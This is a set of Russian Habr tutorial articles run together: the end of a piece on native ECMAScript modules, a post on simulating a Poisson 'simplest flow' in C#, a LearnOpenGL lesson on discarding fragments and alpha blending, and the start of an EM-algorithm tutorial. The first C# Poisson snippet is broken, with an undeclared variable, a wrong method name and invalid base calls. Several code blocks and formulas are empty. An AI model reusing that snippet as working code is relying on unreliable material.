Определение типа ожидаемой загрузки файла открывает множество способов для оптимизации (например, загрузка импортируемых файлов параллельно/до парсинга оставшейся части файла html). Вы можете найти [некоторые примеры](https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/&usg=ALkJrhitcYsRsiGcwOcpyLBMED3zX1VA9Q), [используемые движками Microsoft Chakra JavaScript для модулей ES](https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/&usg=ALkJrhitcYsRsiGcwOcpyLBMED3zX1VA9Q).
Node.js способ указать файл как модуль
--------------------------------------
Node.js окружение отличается от браузеров и использовать тег script type=«module» не особо подходит. В настоящее время все еще продолжается [спор, каким подходящим способом сделать это](https://github.com/nodejs/node/wiki/ES6-Module-Detection-in-Node).
Некоторые решения были отклонены сообществом:
1. добавить «use module» к каждому файлу;
2. метаданные в package.json.
Другие варианты все еще находятся на рассмотрении (спасибо [@bmeck](https://github.com/bmeck) за подсказку):
1. определение, если файл является ES модулем;
2. новое расширение файла для ES6 Модули .mjs, которое будет использоваться в качестве запасного варианта, если предыдущая версия не сработает.
Каждый метод имеет свои плюсы и минусы, и в настоящее время до сих пор нет четкого ответа, каким [путем Node.js будет идти](https://github.com/nodejs/node-eps/blob/master/002-es6-modules.md).
Простой пример нативного модуля
-------------------------------
Во-первых, давайте создадим [простую демку](https://plnkr.co/edit/be0bb3%3Fp%3Dpreview&usg=ALkJrhiCFb4UZhxlLPIzPLeJji1aY2S3uw) (вы можете запустить его в браузерах, которые вы установили ранее, чтобы проверить модули). Так что это будет простой модуль, который импортирует другой и вызывает метод из него. Первый шаг — включить файл, используя:
```
```
Вот файл модуля:
```
// main.js
import utils from "./utils.js";
utils.alert(`
JavaScript modules work in this browser:
https://blog.whatwg.org/js-modules
`);
```
И, наконец, импортированные утилиты:
```
// utils.js
export default {
alert: (msg)=>{
alert(msg);
}
};
```
Как вы могли заметить, мы оставили расширение файла .js, когда используется директива import. Это еще одно отличие от поведения бандлеров — нативные модули не добавляют .js расширения по умолчанию.
Во-вторых, давайте проверим область видимости у модуля ([демо](https://plnkr.co/edit/i4rZ8U?p=preview)):
```
var x = 1;
alert(x === window.x);//false
alert(this === undefined);// true
```
В-третьих, мы проверим, что нативные модули в строгом режиме по умолчанию. Например, строгий режим запрещает удалять простые переменные. [Следующее демо](https://plnkr.co/edit/sulRpONj6EZM1Sph7FSd?p=preview) показывает, что появляется сообщение об ошибке в модуле:
```
// module.js
var x;
delete x; // !!! syntax error
alert(`
THIS ALERT SHOULDN'T be executed,
the error is expected
as the module's scripts are in the strict mode by default
`);
// classic.js
var x;
delete x; // !!! syntax error
alert(`
THIS ALERT SHOULD be executed,
as you can delete variables outside of the strict mode
`);
```
Строгий режим нельзя обойти в нативных модулях.
**Итого:**
* **.js расширение не может быть опущено;**
* **область видимости не является глобальной, this ни на кого не ссылается;**
* **нативные модули в строгом режиме по умолчанию (больше не требуется писать «use strict»).**
Встроенный модуль в тег script
------------------------------
Как и обычные скрипты, вы можете встраивать код, вместо того, чтобы разделять их по отдельным файлам. В предыдущем демо вы можете просто вставить main.js непосредственно в тег script type=«module» что [приведет к такому же поведению](https://plnkr.co/edit/ghsd9Z?p=preview):
```
import utils from "./utils.js";
utils.alert(`
JavaScript modules work in this browser:
https://blog.whatwg.org/js-modules
`);
```
**Итого:**
* **script type=«module» можно использовать как для загрузки и выполнения внешнего файла, так и для выполнения встроенного кода в тег script.**
Как браузер загружает и выполняет модули
----------------------------------------
Нативные модули (асинхронные) по умолчанию имеют поведение deffered скриптов. Чтобы понять это, мы можем представить каждый тег script type=«module» с атрибутом defer и без. Вот изображение из спецификации, которое [объясняет поведение](https://html.spec.whatwg.org/multipage/scripting.html#attr-script-defer):
Это означает, что по умолчанию скрипты в модулях не блокируют, загружаются параллельно и выполняются, когда страница завершает парсинг html. Вы можете изменить это поведение, добавив атрибут async, тогда скрипт будет выполнен, как только он загрузится.
Главное отличие нативных модулей от обычных скриптов заключается в том, что обычные скрипты загружаются и выполняются сразу же, блокируя парсинг html. Чтобы представить это, посмотрите [демо с разными вариантами атрибутов в теге script](https://plnkr.co/edit/EuzEJ6?p=preview), где первым будет выполнен обычный скрипт без атрибутов defer \ async:
```
```
Порядок загрузки зависит от реализации браузеров, размера скриптов, количества импортируемых скриптов и т. д.
**Итого:**
* **модули по умолчанию асинхронны и ведут себя как deffered скрипты**
Мы вступаем в эпоху нативной поддержки модулей в JavaScript. JS прошел долгий путь становления, и, наконец-то, он добрался до этой точки. Наверное, это одна из самых долгожданных и востребованных фич. Никакой синтаксический сахар и новые языковые конструкции не идут в сравнение с этим новым стандартом.
Все вышесказанное дается для первого знакомства с нативными ECMAScript модулями. В следующей статье будут разобраны способы взаимодействия модулей, определение поддержки в браузерах, конкретные моменты и различия с обычными бандлами и т. д.
Если хотите узнать больше сейчас, предлагаю пройтись по ссылкам:
* [Modules part JavaScript books by Dr. Axel Rauschmayer](http://exploringjs.com/es6/ch_modules.html)
* [The proposal of `script type=”module” ` by Domenic Denicola](https://github.com/whatwg/html/pull/443)
* [HTML live standard, “Scripting” section](https://html.spec.whatwg.org/multipage/scripting.html#scripting-3)
Честно говоря, когда я пробовал нативные модули в первый раз, и они заработали в браузере, я почувствовал то, чего не чувствовал с появлением таких языковых фич, как const/let/arrow functions и прочих новомодных фишек, когда они начали работать непосредственно в браузерах. Я надеюсь, что вы будете, как и я, рады добавлению нативного механизма работы с модулями в браузеры.
Другие статьи автора по данной теме
-----------------------------------
* [Native ECMAScript modules: dynamic import()](https://blog.hospodarets.com/native-ecmascript-modules-dynamic-import)
* [Native ECMAScript modules: nomodule attribute for the migration](https://blog.hospodarets.com/native-ecmascript-modules-nomodule)
* [Native ECMAScript modules: the new features and differences from Webpack modules](https://blog.hospodarets.com/native-ecmascript-modules-new-features)
От переводчика
--------------
Я Frontend разработчик в команде Авиа в [Tutu.ru](https://avia.tutu.ru/). Сейчас у нас в проектах используется Webpack в качестве бандлера. Есть легаси код и старые проекты с RequireJS. Нативные модули очень интересны и ждем их с нетерпением, тем более мы уже перевели все наши проекты на HTTP/2. Конечно, совсем без бандлеров обходиться мы не собираемся, так как у нас большое количество модулей во всех проектах. Но приход нативных модулей мог бы поменять воркфлоу сборки и деплоя. | https://habr.com/ru/post/326716/ | null | ru | null |
# Моделирование простейшего потока
Всего с помощью двух слов можно охарактеризовать такие вещи, как
* поток вызовов на телефонной станции
* поток автомобилей на магистрали
* поток абонентов, звонящих в техподдержку
и многое другое. Всё это называется «простейший поток».
Очевидно, что количество вызовов на станции, автомобилей на магистралиявляются случайными в каждый момент времени. Учитывая то, что все три вещи из списка являются довольно важными для всего общества и для его оптимального существования, необходимо научиться моделировать этот поток.
Особенно актуальным является последний пункт приведённого списка, поскольку юзеры, не знающие простых основ компьютера, успевают их нереально задолбать, а зная параметры потока, можно спрогнозировать их количество.
Математическая модель простейшего потока требует от него нескольких свойств.
1. **Стационарность.** Это означает, что вероятность попадания того или иного числа событий на некоторый отрезок времени зависит только от длины участка и не зависит от того, где расположен этот участок.
2. **Отсутствие последействия.** Это означает следующее: если два промежутка времени не пересекаются, то количество событий, попавших на один из них, не зависит от количества событий, попавших на другой участок.
3. **Ординарность.**Поток является ординарным, если вероятность попадания на один **достаточно малый** отрезок времени двух и более событий пренебрежимо меньше **его длины**.
Заметим, что в зависимости от того, как происходит разбиение реальных событий на временные интервалы, может зависеть, является ли данный поток простейшим или нет.
Например, поток автомобилей на магистрали в сутки не является простейшим, т. к. он не является стационарным: днём автомобилей меньше, чем утром и вечером, в то время как тот же поток в час пик уже можно считать простейшим.
Главным здесь является то, что интересующее нас количество подчиняется дискретному Пуассоновскому распределению.
#### Алгоритм
Пусть нам задано значение параметра ***a*** — среднее количество звонков в техподдержку, к примеру, и нам необходимо сгенерировать случайную величину ***X***, подчиняющуюся закону распределения Po(a)
В классе Random языка C#, который я выбрал в качестве примера, есть метод Sample(), который генерирует случайное число от 0 до 1, равномерно на этом отрезке распределённое.
Так каким же образом из вещественного числа нам получить целое число? С помощью математических выкладок, очень простых с точки зрения специалистов по теории вероятности, можно доказать следующее утверждение.
*Пусть у нас имеется некоторое количество независимых случайных чисел, равномерно распределённых на отрезке [0;1]. Тогда наименьшее число X, такое, что произведение X наших случайных чисел строго меньше, чем exp(-a), подчиняется Пуассоновскому распределению с параметром a*
В результате мы получаем следующий алгоритм:
```
class Poisson: Random {
public static uint Generate(double a){
uint X = 0;
double Prod = 1;
double U = base.Sample();
Prod *= U;
while (Prod >= Math.exp(-a)) {
X++;
U = base.Next();
Prod *= u;
}
return X;
}
}
}
```
Вычислительная сложность этого алгоритма составляет O(a), однако здесь нам приходится многократно генерировать случайную величину, когда, на самом деле, можно обойтись всего лишь одной:
```
public static uint Generate(double a){
uint X = 0;
double Prod = Math.Exp(-a);
double Sum = Prod;
double U = base.Sample();
while (U > Sum) {
X++;
Prod *= a/Convert.ToDouble(X);
Sum += Prod;
}
return X;
}
```
Сложность этого алгоритма также составляет O(a). | https://habr.com/ru/post/204324/ | null | ru | null |
# Learn OpenGL. Урок 4.3 — Смешивание цветов
Смешивание цветов
=================
Смешивание в OpenGL (да и других графических API, *прим. пер.*) является той техникой, которую обычно связывают с реализацией прозрачности объектов. Полупрозрачность объекта подразумевает, что он не залит одним сплошным цветом, а сочетает в себе в различных пропорциях оттенок своего материала с цветами объектов, находящихся позади. Как пример, можно взять цветное стекло в окне: у стекла есть свой оттенок, но в итоге мы наблюдаем смешение оттенка стекла и всего того, что видно за стеклом. Собственно, из этого поведения и возникает термин смешивание, поскольку мы наблюдаем итоговый цвет, являющийся смешением цветов отдельных объектов. Благодаря этому, мы можем видеть сквозь полупрозрачные объекты.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
Часть 6. PBR
1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность.](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность.](https://habr.com/post/429744/)
Полупрозрачные объекты могут быть полностью прозрачными (все цвета проходят насквозь) или же частично прозрачными (пропускает свет, но добавляет и собственный оттенок). В компьютерной графике принято обозначать степень непрозрачности так называемоей *альфа-компонентой* вектора цвета. Альфа-компонента является четвертым элементом вектора цвета и вы, должно быть, уже не раз заметили её в предыдущих уроках. Однако, до этого момента мы всегда сохраняли это значение равным 1.0, что равнозначно полной непрозрачности. Установив же альфа-компоненту в 0.0 мы бы добились полной прозрачности. Значение 0.5 подразумевало бы, что итоговый цвет объекта на 50% задается своим материалом, а на 50% задается объектами, находящимися позади.
Все текстуры, что мы использовали до сих пор содержали 3 компонента цвета: красный, синий и зеленый. Некоторые форматы текстур позволяют сохранять также и четвертую альфа-компоненту для каждого текселя. Это значение указывает, какие части текстуры полупрозрачны и насколько именно. Например, данная [текстура оконного стекла](https://learnopengl.com/img/advanced/blending_transparent_window.png) имеет альфа-компоненту установленной в 0.25 для стеклянных участков и 0.0 для рамы. В других условиях стеклянные части были бы полностью красными, но из-за 75% прозрачности цвет большей частью определен фоном текущей веб-страницы.
В скором мы добавим данную текстуру в новую сцену, но, для начала, обсудим более простую технику достижения прозрачности в тех случаях, где нужна либо полная прозрачность, либо полная непрозрачность.
### Отбрасывание фрагментов
В некоторых случаях частичная прозрачность не требуется: необходимо либо отобразить что-то, либо ничего, основываясь на значении цвета текстуры. Представьте себе пучок травы: простейшая реализация пучка потребовала бы текстуры травы на 2D кваде, расположенном в вашей сцене. Однако, задаче имитации пучка травы форма квада не очень-то помогает – нам бы не помешало скрыть части наложенной текстуры, оставляя некоторые другие.
Представленная ниже текстура в точности представляет описанный случай: её участки либо полностью непрозрачны (альфа-компонента = 1.0), либо же полностью прозрачны (альфа-компонента = 0.0) – никаких средних значений. Можно заметить, что там, где нет изображения травинок видно фон сайта, а не цвет текстуры:
Таким образом, при размещении растительности в нашей сцене мы бы хотели видеть только части текстуры, соответствующие частям растения, а остальные части текстуры, заполняющие полигон – отбрасывать. То есть отбрасывать фрагменты, содержащие прозрачные части текстуры, не сохраняя их в буфере цвета. Но прежде чем мы непосредственно замараем руки работой с фрагментами, необходимо научиться загружать текстуры с альфа-каналом.
Для этого нам не придется что-то сильно изменять в знакомом коде. Функция-загрузчик из *stb\_image.h* автоматически подгружает альфа-канал изображения, если таковой доступен. Но при этом необходимо явно указать OpenGL при создании текстуры, что она использует альфа-канал:
```
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, data);
```
Также убедитесь, что во фрагментом шейдере вы делаете выборку в вектор с 4мя компонентами, чтобы не остаться только с RGB значениями:
```
void main()
{
// FragColor = vec4(vec3(texture(texture1, TexCoords)), 1.0);
FragColor = texture(texture1, TexCoords);
}
```
Теперь, когда мы разобрались с загрузкой текстур с прозрачностью – самое время раскидать несколько пучков травы по сцене, использованной в уроке по [тесту глубины](https://habrahabr.ru/post/342610/).
Создадим небольшой вектор, хранящий положение пучков травы в виде *glm::vec3*:
```
vector vegetation;
vegetation.push\_back(glm::vec3(-1.5f, 0.0f, -0.48f));
vegetation.push\_back(glm::vec3( 1.5f, 0.0f, 0.51f));
vegetation.push\_back(glm::vec3( 0.0f, 0.0f, 0.7f));
vegetation.push\_back(glm::vec3(-0.3f, 0.0f, -2.3f));
vegetation.push\_back(glm::vec3( 0.5f, 0.0f, -0.6f));
```
Каждый объект травы рендерится как единственный квад с текстурой травы, назначенной ему. Не самый захватывающий метод имитации травки в 3D, но гораздо более эффективный, нежели использование полигональных моделей. С помощью небольших уловок, типа добавления в том же положении еще пары повернутых квадов с той-же текстурой, можно добиться неплохих результатов.
Поскольку мы назначаем текстуру травы кваду нам понадобится новый VAO (vertex array object), заполнить VBO (vertex buffer object) и установить соответствующие указатели на атрибуты вершин. Далее, после рендера поверхности пола и кубов мы выводим нашу траву:
```
glBindVertexArray(vegetationVAO);
glBindTexture(GL_TEXTURE_2D, grassTexture);
for(unsigned int i = 0; i < vegetation.size(); i++)
{
model = glm::mat4(1.0f);
model = glm::translate(model, vegetation[i]);
shader.setMat4("model", model);
glDrawArrays(GL_TRIANGLES, 0, 6);
}
```
Выполнение программы выдаст такой вот результат:
Так произошло, поскольку сама по себе OpenGL не знает ни что делать со значениями альфа-канала, ни когда применять отбрасывание фрагментов. Все это мы должны указать вручную. К счастью, с помощью шейдеров все делается довольно просто. В GLSL существует встроенная директива *discard*, вызов которой приводит к прекращению дальнейшей обработки текущего фрагмента без его попадания в буфер цвета. Отсюда вырисовывается решение: проверяем значение альфа-компоненты текстурного элемента и, если он меньше некого порога, отбрасываем его:
```
#version 330 core
out vec4 FragColor;
in vec2 TexCoords;
uniform sampler2D texture1;
void main()
{
vec4 texColor = texture(texture1, TexCoords);
if(texColor.a < 0.1)
discard;
FragColor = texColor;
}
```
В данном коде мы отбрасываем фрагмент, если альфа-компонента выборки из текстуры оказалась меньше величины 0.1. Такой шейдер обеспечит нам вывод только тех фрагментов, что оказались достаточно непрозрачными:
> Отмечу, что при выборке на границах текстуры OpenGL выполняет интерполяцию значения на границе со значением из следующего за ним значения, полученным повторением текстуры (поскольку мы установили параметр повторения текстуры в *GL\_REPEAT*). Для обычного применения текстур это нормально, но для нашей текстуры с прозрачностью это не годится: полностью прозрачное значение текселей на верхней границе смешивается с полностью непрозрачными текселями нижней границы. В результате вокруг квада с нашей текстурой может появится полупрозрачная цветная рамка. Для избежания этого артефакта нужно параметр повтора установить в *GL\_CLAMP\_TO\_EDGE* при использовании текстур с прозрачностью.
>
>
> ```
> glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
> glTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
> ```
>
Код примера находится [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/4.advanced_opengl/3.1.blending_discard/blending_discard.cpp).
### Смешивание
Несмотря на то, что отбрасывание фрагментов – удобный и простой способ, он не дает возможности применять частичное смешивание полупрозрачных цветов. Для рендера изображений с объектами, имеющими разную степень непрозрачности мы должны включить режим смешивания. Делается это, как и для большинства режимов OpenGL:
```
glEnable(GL_BLEND);
```
Теперь, включив смешивание, стоит разобраться как же конкретно это работает.
Смешивание OpenGL выполняется по следующей формуле
где – вектор цвета источника. Это значение цвета, полученное из текстуры.
 – вектор цвета приемника. Это значение цвета, хранимое на данный момент в буфере цвета.
 – множитель источника. Задает степень влияния альфа-компоненты на цвет источника.
 – множитель приемника. Задает степень влияния альфа-компоненты на цвет приемника.
После этапа выполнения фрагментного шейдера и прочих тестов (тесты трафарета и глубины, *прим. пер.*) данная формула смешивания вольна делать что угодно с цветами обработанных фрагментов и хранящимися в буфере цвета в текущий момент (значения цвета фрагментов из предыдущего кадра). Роли источника и приемника назначаются OpenGL автоматически, но множители для них мы можем задать сами. Для начала, рассмотрим следующий пример:
Имеются два квадрата и полупрозрачный зеленый мы бы хотели нарисовать поверх непрозрачного красного. В таком случае цветом-приемником будет цвет красного квадрата, а, значит, должен быть занесен в буфер цвета первым.
Возникает вопрос: как выбрать значения множителей в формуле смешивания? Ну, по крайней мере, нам следует умножить зеленый цвет второго квадрата на его величину альфа-компоненты, следовательно,  примем равным альфа компоненте вектора цвета источника, т.е. 0.6. Исходя из этого, разумно будет предположить, что приемник обеспечит вклад в результат пропорциональный степени прозрачности, оставшейся доступной. Если зеленый квадрат обеспечивает 60% от итога, то красному квадрату должно достаться 40% (1. – 0.6). Так что множитель  устанавливаем равным разности единицы и альфа-компоненты вектора цвета источника. В результате выражение смешивания приобретает следующий вид:
Результатом смешивания будет цвет на 60% состоящий из исходного зеленого и 40% исходного красного – это невнятный бурый цвет:
Результат будет занесен в буфер цвета, замещая старые значения.
Ну а как же нам дать понять OpenGL какие значения коэффициентов смешивания мы хотим использовать? На наше счастье есть специальная функция:
```
glBlendFunc(GLenum sfactor, GLenum dfactor)
```
Она принимает два параметра, определяющие значения коэффициентов источника и приемника. В OpenGL API определен исчерпывающий список значений этих параметров, позволяющий настроить режим смешивания как душе угодно. Здесь приведу самые «ходовые» значения параметров. Отмечу, что постоянный вектор цвета  задается отдельно функцией *glBlendColor*.
Чтобы получить результат, описанный в примере с двумя квадратами, нам следует выбрать такие параметры, чтобы коэффициент источника равнялся *alpha* (значение альфа-компоненты) цвета источника, а коэффициент приемника равнялся *1 – alpha*. Что равнозначно вызову:
```
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
```
Также возможна раздельная настройка коэффициентов для RGB и альфа компонент посредством функции *glBlendFuncSeparate*:
```
glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO);
```
Такой вызов настраивает смешивание RGB компонент как в предыдущем примере, дополнительно указывая, что альфа-компонента результата будет равна альфа-компоненте источника.
OpenGL разрешает и еще более гибкую настройку формулы смешивания, разрешая выбор операции, производимой между компонентами формулы. По умолчанию компоненты источника и приемника складываются, но можно выбрать и вычитание, если таков замысел. Определяет поведение функция
```
glBlendEquation(GLenum mode)
```
И доступны три варианта значения параметра:
* *GL\_FUNC\_ADD*: значение по умолчанию, складывает компоненты: .
* *GL\_FUNC\_SUBTRACT*: вычитает компоненту приемника из компоненты источника: .
* *GL\_FUNC\_REVERSE\_SUBTRACT*: вычитает компоненту источника из компоненты приемника: .
Обычно вызов *glBlendEquation* не требуется, поскольку режим по умолчанию *GL\_FUNC\_ADD* и так подходит для большинства случаев применения. Но для нестандартных подходов и попыток создать непривычное визуальное решение вполне могут пригодится и прочие режимы вычисления формулы смешивания.
#### Рендер полупрозрачных текстур
Итак, мы познакомились с тем, как библиотека выполняет смешивание. Самое время применить эти знания на практике, создав пару-тройку прозрачных окон. Используем ту же сцену, что и в начале урока, но вместо пучков травы разместим объекты с уже упоминавшейся в начале урока [текстурой окна](https://learnopengl.com/img/advanced/blending_transparent_window.png).
Для начала включим режим смешивания и выберем его параметры:
```
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
```
Поскольку мы включили смешивание, то в отбрасывании прозрачных фрагментов более нет нужды. Код фрагментного шейдера вернем к прежнему состоянию:
```
#version 330 core
out vec4 FragColor;
in vec2 TexCoords;
uniform sampler2D texture1;
void main()
{
FragColor = texture(texture1, TexCoords);
}
```
Теперь при обработке каждого фрагмента OpenGL смешивает цвет обрабатываемого фрагмента и хранимого в буфере цвета согласно значению альфа-компоненты первого. Поскольку стеклянная часть окна полупрозрачна, то мы должны видеть остальную сцену позади окна:
Однако, присмотревшись внимательно, можно заметить, что рендер некорректен. По какой-то причине полупрозрачные части ближайшего к нам окна перекрывают другие окна в фоне!
Причиной то, что тест глубины не учитывает прозрачен фрагмент или нет при обработке. В итоге все фрагменты квада с текстурой окна проходят тест глубины одним образом, принадлежат ли они к стеклянной части или нет. Несмотря на то, что позади стеклянных частей должны сохраняться старые фрагменты тест глубины их отбросит.
Итог: нельзя выводить полупрозрачные объекты абы как и надеяться, что тест глубины и смешивание сами решат как все сделать корректно. Чтобы обеспечить корректный рендер окон, перекрытых другими окнами, нам необходимо сначала осуществлять вывод окон, лежащих вдали. Таким образом нам необходимо самим отсортировать окна по положению от самых дальних к ближайшим и вывести в соответствии с этим порядком.
> Отмечу, что для случаев с полной прозрачностью (случай с травой) операция отбрасывания фрагментов не вызывает описанной проблемы, поскольку смешивания не происходит.
#### Рендер с сохранением порядка следования
Для корректной работы смешивания при рендере множества объектов необходимо начинать вывод с самого дальнего и заканчивать ближайшим. Непрозрачные объекты, не требующие смешивания могут выводиться в привычной манере с использованием буфера глубины, здесь сортировка не требуется. Но непрозрачную часть сцены необходимо отрисовать до вывода элементов, использующих смешивание. В итоге, порядок действий при рендере сцены, содержащей как непрозрачные, так и прозрачные объекты, выглядит следующим образом:
1. Вывести все непрозрачные объекты.
2. Отсортировать прозрачные объекты по удалению.
3. Нарисовать прозрачные объекты в отсортированном порядке.
Одним из способов сортировки является упорядочивание на основе дистанции от объекта до наблюдателя. Определяется эта величина как расстояние между векторами положений камеры и самого объекта. Далее мы сохраним это расстояние вместе с вектором положения объекта в контейнере *map* стандартной библиотеки C++. Ассоциативный контейнер *map* автоматически обеспечит упорядочивание хранимых элементов на основе значений ключа, так что нам будет достаточно всего лишь занести все пары дистанция-положение объектов:
```
std::map sorted;
for (unsigned int i = 0; i < windows.size(); i++)
{
float distance = glm::length(camera.Position - windows[i]);
sorted[distance] = windows[i];
}
```
В результате у нас будет контейнер с положениями объектов окна, отсортированными по величине distance от наименьшей до наибольшей.
В момент отрисовки нам понадобиться пройтись по контейнеру в обратном порядке (от наибольшего удаления до наименьшего) и нарисовать окна в соответствующих положениях:
```
for(std::map::reverse\_iterator it = sorted.rbegin(); it != sorted.rend(); ++it)
{
model = glm::mat4(1.0f);
model = glm::translate(model, it->second);
shader.setMat4("model", model);
glDrawArrays(GL\_TRIANGLES, 0, 6);
}
```
Здесь мы используем обратный итератор для контейнера, чтобы обеспечить проход по нему в обратном порядке. Каждый объект окна при этом смещается в соответствующее положение и отрисовывается. Относительно несложная модификация кода привела к полному разрешению ранее обозначенной проблемы:
Как видно, сцена теперь выводится корректно. Исходный код примера находится [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/4.advanced_opengl/3.2.blending_sort/blending_sorted.cpp).
Стоит отметить, что простая сортировка по дальности хоть и хорошо сработала в данном случае, но не учитывает таких особенностей как повороты, масштабирование и прочие трансформации объектов. Также объекты сложной формы потребовали бы более изощренной метрики для сортировки, нежели только удаленность от камеры.
Кроме того, сортировка не дается бесплатно: сложность этой задачи определяется видом и составом сцены, а сам процесс требует дополнительных вычислительных затрат. Существуют и более продвинутые методы вывода сцен, содержащих как прозрачные, так и непрозрачные объекты: например, алгоритм порядко-независимой прозрачности (*Order Independent Transparency, OIT*). Но освещение этой темы выходит за рамки урока. А вам придется обходиться обычной реализацией смешивания. Но для печали нет причины, зная ограничения технологии и будучи осторожным, можно добиться вполне впечатляющих результатов!
**P.S.**: И снова в комментариях [полезная ссылка](http://disq.us/url?url=http%3A%2F%2Fandersriggelsen.dk%2Fglblendfunc.php%3AoONYjZshyYJQReCBKfslyR2X3zY&cuid=2951374). Можно вживую посмотреть, как выбор режимов смешивания влияет на итог.
**P.P.S.**: У нас с [eanmos](https://habr.com/en/users/eanmos/) есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/343096/ | null | ru | null |
# Разбираем EM-algorithm на маленькие кирпичики
В этой статье, как Вы уже, наверное догадались, речь пойдет об устройстве EM-алгоритма. Статья прежде всего может быть интересна тем, кто потихонечку уже вступает в сообщество датасайнтистов. Материал изложенный в статье в большей степени будет полезен тем, кто недавно начал проходить третий курс «Поиск структуры в данных» в рамках специализации «Машинное обучение и анализ данных» от МФТИ и Яндекс.
Изложенный в статье материал, в каком-то смысле, является дополнением к первой неделе обучения на вышеобозначенном курсе, а именно, позволяет ответить на некоторые немаловажные вопросы, касательно принципа действия EM-алгоритма. Для лучшего понимания материала нашему многоуважаемому читателю желательно уметь осуществлять операции с матрицами (умножение матриц, нахождение определителя матрицы и обратной матрицы), разбираться в основах теории вероятности и матстата, ну и конечно же, иметь хотя бы базовое представление о базовых алгоритмах кластеризации и понимать какое место кластеризация занимает в машинном обучении. Хотя, безусловно, и без этих знаний можно ознакомиться со статьей, что-то да наверняка будет понятным :)
Также по старой традиции, статья не будет содержать глубоких теоретических изысканий, но будет наполнена простыми и доступными для понимания примерами. Каждый последующий пример будет немного глубже предыдущего объяснять действие EM-алгоритма, что в конечном итоге приведет нас прямёхонько к разбору самого алгоритма. Для каждого примера будет написан код. Весь код написан на языке python 2.7, и за это я заранее приношу извинения. Так вышло, что сейчас я использую именно эту версию, но после перехода на python 3, постараюсь изменить код в статье.
**Ознакомимся с планом статьи:**
1) Рассмотрим в общих чертах как устроен EM-алгоритм.
2) Повторим основные моменты из теоремы (формулы) Байеса: 
3) Рассмотрим первый пример на теорему Байеса, в котором все элементы формулы (а точнее вероятности ) за знаком равенства справа известны. В этом случае нам требуется только правильно понять какие цифры куда подставить и далее выполнить элементарные операции.
4) Рассмотрим второй пример на теорему Байеса. Для решения задачи нам необходимо будет уже дополнительно вычислить плотность вероятности определенного события () при условии гипотезы () — . Для вычислений нам будут даны параметры случайной величины, а именно, математическое ожидание —  и стандартное отклонение — . Вычисления плотности вероятности будут осуществляться по следующей формуле:
Использование вышеобозначенной формулы предполагает, что случайная величина имеет одномерное измерение и распределена нормально (иначе говорят — распределение Гаусса или Гаусса-Лапласа распределение вероятностей).
5) Рассмотрим третий пример, который отличается от предыдущего только тем, что в нем рассматривается случай многомерного (в нашем варианте двумерного) нормального распределения случайной величины. В таком случае вычисление плотностей осуществляется по следующей формуле:
6) И наконец, мы модифицируем третий пример таким образом, чтобы наглядно продемонстрировать работу EM-алгоритма.
7) В завершении, сравним качество работы выведенного нами алгоритма с качеством работы EM-алгоритма, который встроен в библиотеку sklearn (class sklearn.mixture.GaussianMixture)
Если Вы вместо формул, указанных в плане статьи, увидели японские иероглифы, то пожалуйста не пугайтесь — после теоремы Байеса (второго пункта плана статьи), мы будем разбирать такие примеры, которые Вы наверняка будете понимать, как минимум, на интуитивном уровне. Ну что же, погнали!
